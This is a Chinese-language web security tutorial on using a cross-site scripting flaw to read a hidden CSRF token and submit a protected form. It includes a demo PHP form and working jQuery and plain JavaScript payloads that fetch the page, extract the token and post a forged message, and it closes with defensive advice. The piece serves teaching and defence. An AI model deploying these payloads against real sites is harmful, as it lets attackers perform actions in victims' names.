利用XSS窃取CSRF令牌:两种实战技术解析

本文详细介绍了如何通过跨站脚本(XSS)漏洞窃取CSRF令牌,并利用jQuery和原生JavaScript两种技术实现表单提交攻击,揭示了Web安全中令牌保护的潜在弱点。

利用XSS窃取CSRF令牌

隐藏令牌是保护重要表单免受跨站请求伪造(CSRF)攻击的有效方法,但单一的跨站脚本(XSS)实例可以完全抵消其保护作用。

这里展示了两种利用XSS获取CSRF令牌的技术,然后使用该令牌提交表单并达成攻击目标。

目标表单

以下是我们将要攻击的表单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!doctype html>
<html lang="en-US">
<head>
    <title>Steal My Token</title>
</head>
<body id="body">

<?php

$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
    if ($_POST['token'] === "secret_token") {
        print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</p>";
        fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "\n");
    } else {
        print "<p>Invalid token</p>";
        fwrite($h, "Invalid token passed\n");
    }
}
fclose ($h);
?>

    <form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
        <input type="hidden" value="secret_token" id="token" name="token" />
        <input type="text" value="" name="message" id="message" />
        <input type="submit" value="Submit" />
    </form>
</body>
</html>

如您所见,该表单通过名为"token"的输入字段进行CSRF保护。提交时检查值,如果匹配预期值,则显示消息并写入文件。无效令牌也会被记录以帮助调试。

jQuery方法

第一种技术使用jQuery,代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function submitFormWithTokenjQuery (token) {
    $.post (POST_URL, {token: token, message: "hello world"})
        .done (function (data) {
            console.log (data );
        });
}

function getWithjQuery () {
    $.ajax ({
        type: "GET",
        url: GET_URL,
        data: {},
        async: true,
        dataType: "text",
        success: function (data) {
            var $data = $(data);
            var $input = $data.find ("#token");
            if ($input.length > 0) {
                inputField = $input[0];
                token = inputField.value
                console.log ("The token is: " + token);
                submitFormWithTokenjQuery (token);
            }
        },
        error: function (xml, error) {
            console.log (error);
        }
    });
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getWithjQuery();

注释已经很好地解释了整个过程,但这里快速描述一下:

getWithjQuery函数向包含令牌的表单页面发出GET请求。当页面返回时,调用success函数。在这里,返回的页面被解析,提取id为"token"的输入字段,然后我们就得到了令牌。

然后将令牌传递给submitFormWithTokenjQuery,该函数执行POST请求,包含两个字段:令牌和消息。

我将两个URL分开,因为有时表单数据提交到的URL与加载表单的URL不同。

显然这非常冗长,但幸运的是jQuery压缩得很好,整个代码可以重写为:

1
2
3
$.get("csrf.php", function(data) {
    $.post("/csrf.php", {token: $(data).find("#token")[0].value, message: "hello world"})
});

对于jQuery技能更好的人来说,这可能还能进一步压缩,但我发现这通常已经足够好用。

原生JavaScript方法

如果没有jQuery,仍然可以使用原生JavaScript,以下代码实现了相同的功能,但不依赖任何第三方库。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
    xhr.send("token=" + token + "&message=CSRF%20Beaten");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    xhr.responseType = "document";
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            page = xhr.response
            input = page.getElementById("token");
            console.log("The token is: " + input.value);
            submitFormWithTokenJS(input.value);
        }
    };
    xhr.send(null);
}

var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getTokenJS();

getTokenJS函数使用异步XMLHttpRequest对GET_URL执行GET操作,然后在返回时从DOM中提取令牌元素。

如果输入字段没有id,可以将page.getElementById调用替换为其他类似方法,例如:

  • getElementsByClassName
  • getElementsByName
  • getElementsByTagName

但需要注意的是,这些方法返回的是对象数组而不是单个对象,因此需要访问单个项目,例如:

1
input = page.getElementsByTagName("input")[0]

获得令牌后,可以将其传递给submitFormWithTokenJS函数来构建另一个异步XMLHttpRequest,这次是对POST_URL执行POST操作。

传递给xhr.send的字符串是一组用&符号分隔的名称/值对,与查询字符串中的方式相同。

这可能也可以压缩,但我的JavaScript水平不是很高。

结论

所有最好的保护措施都可能因为一个简单的错误而被破坏。您仍然需要诱使受害者访问托管存储型XSS的页面,或者让他们点击反射型XSS链接(在允许触发的浏览器中),但让用户点击链接通常并不困难。

防止这种情况的简单方法是:不要在您的网站上存在XSS!如果您不能保证这一点,次优选择是使用替代类型的令牌。让用户输入密码来执行重要任务与使用CSRF令牌相同,只是不使用必须以某种方式发送到浏览器且可能被盗的软件生成令牌,而是使用密码作为令牌。攻击性XSS脚本不知道密码,因此无法完成提交。

另一种选择是对操作进行带外确认。我的银行在设置新付款时向我发送短信,我必须使用消息中的详细信息来确认操作。XSS可用于触发短信,但无法读取短信并完成操作。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计